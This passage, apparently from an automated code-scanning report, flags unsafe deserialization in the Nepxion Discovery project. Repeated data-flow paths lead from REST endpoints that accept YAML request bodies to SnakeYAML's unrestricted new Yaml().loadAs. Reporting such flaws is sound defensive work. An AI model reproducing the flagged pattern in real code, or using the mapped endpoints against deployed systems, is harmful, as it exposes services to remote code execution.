    }\r\n   \r\n       private ResponseEntity<?> doDeparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           try {\r\n               ConditionStrategy result = strategyResource.deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L343-L343)\r\n
    private ResponseEntity<?> doDeparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           try {\r\n               ConditionStrategy result = strategyResource.deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L197-L197)\r\n
\r\n       @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L198-L198)\r\n
    @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   \r\n   
\r\n \r\n7. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n8. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n   \r\n           return snakeYaml.loadAs(yaml, clazz);\r\n       }\r\n   }
\r\n \r\n\r\n
\r\n\r\n----------------------------------------\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L139-L139).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 10 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L139-L139)\r\n
    @ApiOperation(value = \"根据Yaml格式,解析版本蓝绿灰度发布策略为Xml格式\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> parseVersionRelease(@RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doParseVersionRelease(conditionStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L140-L140)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> parseVersionRelease(@RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doParseVersionRelease(conditionStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L311-L311)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doParseVersionRelease(String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.parseVersionRelease(conditionStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L313-L313)\r\n
    private ResponseEntity<?> doParseVersionRelease(String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.parseVersionRelease(conditionStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L174-L174)\r\n
\r\n       @Override\r\n       public String parseVersionRelease(String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L175-L175)\r\n
    @Override\r\n       public String parseVersionRelease(String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n           return parseVersionRelease(conditionStrategy);\r\n   
\r\n \r\n7. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L197-L197)\r\n
\r\n       @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   
\r\n \r\n8. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L198-L198)\r\n
    @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   \r\n   
\r\n \r\n9. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n10. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n    \r\n            return snakeYaml.loadAs(yaml, clazz);\r\n        }\r\n    }
\r\n \r\n\r\n
\r\n\r\n----------------------------------------\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L111-L111).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 8 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L111-L111)\r\n
    @ApiOperation(value = \"局部订阅方式,根据Yaml格式,重新创建版本蓝绿灰度发布(创建链路智能编排,不创建条件表达式)\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @PathVariable(value = \"serviceId\") @ApiParam(value = \"服务名\", required = true) String serviceId, @RequestBody @ApiParam(value = \"蓝绿灰度路由策略Yaml\", required = true) String conditionRouteStrategyYaml) {\r\n           return doRecreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L112-L112)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @PathVariable(value = \"serviceId\") @ApiParam(value = \"服务名\", required = true) String serviceId, @RequestBody @ApiParam(value = \"蓝绿灰度路由策略Yaml\", required = true) String conditionRouteStrategyYaml) {\r\n           return doRecreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L271-L271)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doRecreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.recreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L273-L273)\r\n
    private ResponseEntity<?> doRecreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.recreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L126-L126)\r\n
\r\n       @Override\r\n       public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);\r\n   \r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L127-L127)\r\n
    @Override\r\n       public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);\r\n   \r\n           return recreateVersionRelease(group, serviceId, conditionRouteStrategy);\r\n   
\r\n \r\n7. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n8. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n   \r\n           return snakeYaml.loadAs(yaml, clazz);\r\n       }\r\n   }
\r\n \r\n\r\n
\r\n\r\n----------------------------------------\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L97-L97).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 10 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L97-L97)\r\n
    @ApiOperation(value = \"局部订阅方式,根据Yaml格式,创建版本蓝绿灰度发布\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> createVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @PathVariable(value = \"serviceId\") @ApiParam(value = \"服务名\", required = true) String serviceId, @RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doCreateVersionRelease(group, serviceId, conditionStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L98-L98)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> createVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @PathVariable(value = \"serviceId\") @ApiParam(value = \"服务名\", required = true) String serviceId, @RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doCreateVersionRelease(group, serviceId, conditionStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L251-L251)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doCreateVersionRelease(String group, String serviceId, String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.createVersionRelease(group, serviceId, conditionStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L253-L253)\r\n
    private ResponseEntity<?> doCreateVersionRelease(String group, String serviceId, String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.createVersionRelease(group, serviceId, conditionStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L108-L108)\r\n
\r\n       @Override\r\n       public String createVersionRelease(String group, String serviceId, String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L109-L109)\r\n
    @Override\r\n       public String createVersionRelease(String group, String serviceId, String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n           return createVersionRelease(group, serviceId, conditionStrategy);\r\n   
\r\n \r\n7. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L197-L197)\r\n
\r\n       @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   
\r\n \r\n8. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L198-L198)\r\n
    @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   \r\n   
\r\n \r\n9. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n10. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n    \r\n            return snakeYaml.loadAs(yaml, clazz);\r\n        }\r\n    }
\r\n \r\n\r\n
\r\n\r\n----------------------------------------\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L62-L62).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 10 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L62-L62)\r\n
    @ApiOperation(value = \"全局订阅方式,根据Yaml格式,重新创建版本蓝绿灰度发布(创建链路智能编排,不创建条件表达式)\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @RequestBody @ApiParam(value = \"蓝绿灰度路由策略Yaml\", required = true) String conditionRouteStrategyYaml) {\r\n           return doRecreateVersionRelease(group, conditionRouteStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L63-L63)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @RequestBody @ApiParam(value = \"蓝绿灰度路由策略Yaml\", required = true) String conditionRouteStrategyYaml) {\r\n           return doRecreateVersionRelease(group, conditionRouteStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L201-L201)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doRecreateVersionRelease(String group, String conditionRouteStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.recreateVersionRelease(group, conditionRouteStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L203-L203)\r\n
    private ResponseEntity<?> doRecreateVersionRelease(String group, String conditionRouteStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.recreateVersionRelease(group, conditionRouteStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L81-L81)\r\n
\r\n       @Override\r\n       public String recreateVersionRelease(String group, String conditionRouteStrategyYaml) {\r\n           return recreateVersionRelease(group, null, conditionRouteStrategyYaml);\r\n       }\r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L82-L82)\r\n
    @Override\r\n       public String recreateVersionRelease(String group, String conditionRouteStrategyYaml) {\r\n           return recreateVersionRelease(group, null, conditionRouteStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n7. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L126-L126)\r\n
\r\n       @Override\r\n       public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);\r\n   \r\n   
\r\n \r\n8. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L127-L127)\r\n
    @Override\r\n       public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);\r\n   \r\n           return recreateVersionRelease(group, serviceId, conditionRouteStrategy);\r\n   
\r\n \r\n9. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n10. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n    \r\n            return snakeYaml.loadAs(yaml, clazz);\r\n        }\r\n    }
\r\n \r\n\r\n
\r\n\r\n----------------------------------------\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L48-L48).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 10 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L48-L48)\r\n
    @ApiOperation(value = \"全局订阅方式,根据Yaml格式,创建版本蓝绿灰度发布\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> createVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doCreateVersionRelease(group, conditionStrategyYaml);\r\n       }\r\n   
